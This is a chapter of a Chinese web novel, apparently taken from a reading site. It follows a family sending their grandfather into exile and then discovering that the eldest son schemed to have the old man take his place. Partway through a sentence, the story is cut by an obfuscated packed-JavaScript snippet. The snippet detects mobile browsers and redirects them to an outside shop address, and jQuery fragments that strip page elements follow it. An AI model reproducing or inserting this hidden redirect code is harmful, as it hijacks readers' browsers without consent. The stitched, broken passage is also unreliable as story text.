就算是重刑犯，也不可能一路戴枷。


    流放队伍出了城门一路向南，大约走了十里左右，队伍停了下来，差役要给重刑犯卸枷。


    而莫惊春一家子则远远缀在后面，就等得休息的时候为莫老爷子一行人换上棉衣送上吃食。


    像莫家这样做的，并不是少数。


    大庸朝和莫惊春所知历史上的很多朝代一样，都是家族获罪，但罪不及出嫁女。


    所以在家族因罪获难之后，有些良心的出嫁女就会想尽办法让家族中获罪之人活得好些。充为奴籍的则想尽办法买下，流放的则提供吃食衣物打点官差保下性命。


    而这些也是大庸法令允许的。


    但之前莫惊春一家不懂，以至于将装着棉衣吃食等的包袱都拿了出来，后来如果不是其他犯人的亲眷相告，莫失让差点就要去恳请官差给莫老爷子下枷了。


    终于等到官差说原地休息。


    一干缀在后面包括莫惊春一家人在内的的马车立刻靠了上来。


    莫少谦下了马车，立刻就来扶刘氏、赵氏等女眷，莫惊春几个小姑娘不用扶，相互帮着跳下马车。


    “阿月，咱们先走，东西让阿春他们拿。阿春，阿雪，麻利点，我们先过去了。”


    刘氏招呼莫问月，还不忘安顿自己的两个闺女。


    莫惊春点点头，莫恋雪翻了个白眼，莫忘夏拍了下莫恋雪，摇了摇头。


    三个小姑娘动作加快，再加上赵氏的帮忙，四个人抱着两个极大的包袱来到莫老爷子、文氏和莫念秋的面前。


    莫老爷子已经去了罪枷，莫少谦拿着药箱，莫问月正一边流眼泪一边给莫老爷子治疗脖子、肩膀和手腕上被罪枷摩擦出来的伤口。


    刘氏在帮莫念秋处理因麻绳而磨破的手腕，赵氏帮文氏处理。


    处理好伤口就开始换衣物。


    莫惊春、莫恋雪和莫忘夏三个小姑娘已经迅速将准备好的包袱打开，把厚实的棉衣棉裤一件件拿出来分发。


    莫失让亲手将棉衣棉裤给莫老爷子穿上，文氏和莫念秋也穿上她们的。


    这些棉衣棉裤都是普通的不能再普通的深灰色粗布面，但耐磨耐脏，而且内里絮了厚厚的新棉，针脚也密实得紧。


    接着就是鞋。


    “这看起来是棉鞋，但只要将里面的棉花取出来就是布鞋。”刘氏小声的告诉文氏，“鞋底厚，两层，一层是用油布包着的，一层是加缝的鞋底，等到了岭南，最下面那一层也磨损的差不多了就去掉。”


    因为还绑着手，刘氏带着莫恋雪给文氏和莫念秋换鞋，莫老爷子的由莫失让和莫失俭来换——他们脚上的鞋还是入狱时穿的那双，早已破烂不堪，浸透了泥水。


    换的差不多，莫惊春和莫忘夏开始分发干粮。


    烙得硬实的饼子、咸香的肉脯、用油纸包好的炒米，一一塞进三人随身的小包袱里。莫惊春还偷偷将一小包碎银子和几张小额银票，塞进莫老爷子棉衣内层的暗袋中，低声道：“祖父，藏好，紧要时再用。”


    莫老爷子感受到孙女的举动，枯瘦的手颤抖了一下，终究没有拒绝。


    与此同时，另一边，莫少谦、莫失让和莫失俭走向那些官差。


    莫少谦和莫失俭挡着其他人的视线，莫失让从褡裢里取出银锭，不是随意打发，而是一人一个或几个，郑重地放到每位官差手中。每递出一锭，他都深深躬身。


    每个银锭子有二十两。


    官差的俸禄并不多，大概月银一两左右，这二十两，比其一年的俸禄还多。


    “差爷，一路山高水远，道阻且长。”他的声音低沉而恳切，带着难以掩饰的悲怆，“求您......求您行个方便，对家父和弟妹、侄女......稍加照应。莫让他们太过辛苦，若有病痛，请允他们抓些药材......这点心意，不成敬意，给弟兄们路上打壶酒，买些热食......暖暖身子，驱驱寒气。”


    为首的官差头目将成色极好的两个银锭在手中掂了又掂，又看了看莫失让那布满血丝却满是恳求的眼睛，脸上横肉稍稍放松，点了点头。


    “放心，”他粗声道，语气比方才和缓不少，声音也大。


    “规矩我们都懂。只要他们老老实实，不闹事，不逃跑，路上自会行些方便，不至于太难熬。”


    其他得了好处的官差也纷纷附和。


    这已是眼下能得到的最好承诺。


    莫失让再次深深一揖：“多谢差爷，大恩不言谢。”


    雪势未歇，反而更密了些。官差们开始吆喝催促，铁链拖地的声音重新响起，沉重而刺耳。流放队伍缓缓移动起来。


    官道上的雪已经积了不少，莫老爷子最后回头看了一眼。


    他的目光扫过三儿子莫失让，二儿子莫失俭，扫过闺女莫问月，扫过儿媳刘氏、赵氏，扫过孙儿莫少谦、莫恋雪和莫忘夏，最后在莫惊春脸上停留了一瞬。


    那眼神复杂难明，有歉疚，有不舍，有嘱托，最终都化为一片深沉的暮色。


    莫老爷子什么也没说，只是极其轻微地冲着莫惊春点了下头，然后转身，佝偻着被木枷压弯的脊背，一步一步，蹒跚着汇入那群动作缓慢、衣衫或褴褛或妥帖的身影中。


    文氏拉着浑浑噩噩的莫念秋，踉跄跟上。


    母女俩的身影在雪中显得格外单薄无助，渐渐模糊在雪雾深处。


    莫失让站在原地，一动不动，如同泥塑木雕。


    雪花落了满身，他就这样望着，望着父亲的背影消失在城门洞的阴影里，望着那支队伍变成一条细线，最终彻底隐没在苍茫的雨幕与远山之间。


    而真正的“失望”，在流放队伍离开数日之后，才轰然炸响在莫失让头顶。


    彼时他们已回到浮梁，沈六派人送来急信。莫惊春接过信看完后，面色铁青，指尖因用力而泛白，手中信件更是因为被紧紧攥住而皱得不成样子。


    “爹，”她的声音压抑着火山般的愤怒，将信纸递到莫失让面前，“爹......您看看这个。这是大哥寄回来的急信......”


    莫失让展开信纸。


    莫少谦的字迹潦草匆忙，显然是在极焦急的情形下草就。可那上面的内容，却一字一句，如淬毒的钢针，狠狠扎进他的眼里、心里。


    原来，早在莫家老宅官司初起，一家子刚下狱时，莫失良就在暗中活动了。利用得了“官”字号结交的那些高官、富商的人脉，许下重利，层层贿赂狱中看守、刑房书吏、甚至案卷主簿。


    他的目的阴毒而明确：想尽一切办法，将自己从“主犯”名单中摘出，变成“从犯”甚至“被胁迫者”。


    而被他推出来顶罪的，正是他的亲生父亲——莫老爷子。他一口咬定，许多贪墨款项的指令、以次充好的主意、甚至是那些签字的决定，都是老爷子为了家族利润私下授意，自己不过是奉命行事，甚至暗示老爷子才是幕后真正的操纵者。


    这还不够。


    在得知自己兄弟莫失让花费大量银钱、四处疏通，终于拿到为父母“赎罪”的文书机会后，狱中的莫失良竟又生出一条更毒的计策。他再次买通关系，暗中传信给关押在女监的母亲秦氏，又通过秦氏，将话递到了单独关押的莫老爷子耳中。


    信中是如何说的，外人不得尽知。


    但那书吏隐约听闻，莫失良在信中哭求父母，字字泣血，言及少阳不知所踪，自己若死，莫家嫡枝正脉的香火将彻底断绝。


    而老三既然有能力赎出两人，何不......将其中一个名额让给他？！


    父亲年事已高，就算不流放，也没有几年了，故而为了莫家的血脉传承，为了孙儿的未来，恳求父亲牺牲自己，成全儿子


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16902439|167948||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。


    据说，莫老爷子接到信后，在冰冷的囚室中枯坐了一整夜，对着铁窗外一方灰暗的天空，一动不动。


    翌日清晨，狱卒发现老人仿佛一夜之间又老了十岁，眼中最后一点光亮也熄灭了。


    他同意了。


    他甚至说服了起初悲痛欲绝、坚决不从的老妻秦氏。


    老夫妻相对泪流，莫老爷子自愿顶替儿子的重罪踏上不归路，更默许了自己的名字被替换，将那生的机会，让给了那个不成器的、却能为家族“传续香火”的长子。


    而莫失让拿到的那份“赎罪文书”，早在出具之前，名字就已经在阴暗处被悄然替换。


    他所付出的一切——他的孝心，他的钱财，他四处奔波欠下的人情，他以为能为父母换来的安稳晚年——最终都成了成全大哥金蝉脱壳、并将老父推入万丈深渊的助推之力！


    “砰——！”


    莫失让一拳狠狠砸在榆木桌面上，茶杯震落，碎片四溅，褐色的茶汤泼洒开来，濡湿了信纸一角。他胸膛剧烈起伏，双目赤红如血，额角青筋暴跳如虬，整个人因极致的愤怒与悲怆而剧烈颤抖，仿佛下一瞬就要炸裂开来。


    “畜生！这个畜生！！！”他从牙缝里挤出这几个字，声音嘶哑可怖，像是受伤野兽的哀嚎，“还有老爷子......老爷子他......他怎能如此？！他怎能如此啊！！！”


    为了一个莫失良，为了那荒唐的“传宗接代”，父亲不仅牺牲自己，更将他这个儿子的全部付出与心意践踏得粉碎！


    甚至可能让他因“赎错人”而惹上新的官司，陷入更大的麻烦！


    那是一种被至亲双重背叛的锥心之痛——一种你倾尽所有去守护，却发现对方早已将你当作棋子、当作垫脚石的彻骨冰寒。


    闻声赶来的刘氏、莫恋雪，还有莫失俭和赵氏都僵立在一旁，沉默着。


    她们看着莫失让濒临崩溃的模样，心中同样翻涌着愤怒与悲凉。


    真相往往比想象的更加丑陋，亲情在利益与自私面前，有时薄如蝉翼。


    良久，莫失让的暴怒渐渐平息，取而代之的是一种深沉的、仿佛抽空了所有力气的疲惫与冰冷。他缓缓坐倒在椅中，背脊佝偻下去，用手死死捂住脸，肩膀微微耸动，却没有发出任何声音。


    那种无声的悲恸，比嚎啕大哭更令人心碎。


    “爹......”莫惊春轻声唤道，端着一杯温水上前，指尖亦在微微发颤。


    莫失让没有接。


    他慢慢放下手，脸上已无泪痕，只有一片荒芜的平静。


    那平静之下，是心死之后的寒意，是斩断某些牵绊后的决绝。


    “从今日起，”他开口，声音沙哑却斩钉截铁，每个字都像是从冰窟里捞出来的，“莫失良，不再是我兄弟。他的生死荣辱，与我莫失让，再无干系。老爷子......你们祖父既然做出了选择，也当承担这选择的一切后果。我，问心无愧。”


    话虽如此决绝。


    可莫失让还是让莫少谦不停地去打听莫老爷子这一路流放的情形，甚至还想着能不能通过自家生意网在半路能够照应老爷子几人。


    血脉亲情，有时就是这样无奈而可悲。


    它可以被伤害，被辜负，被利用得淋漓尽致，可那根看不见的线，却似乎永远无法被彻底斩断。


    它会在你最意想不到的时候，牵扯出心底最柔软、也最疼痛的那一部分。


    只是，有些东西，终究是不同了。


    那份对父亲的敬畏与濡慕，那份对家族毫无保留的奉献之心，在那纸偷梁换柱的文书中，在那令人心寒齿冷的真相面前，已经寸寸碎裂，化为齑粉。


    前路，依旧漫长，依旧未知。


    唯有身边这些历经劫难却依然相互扶持的家人，才是暗夜中唯一真实可握的微光。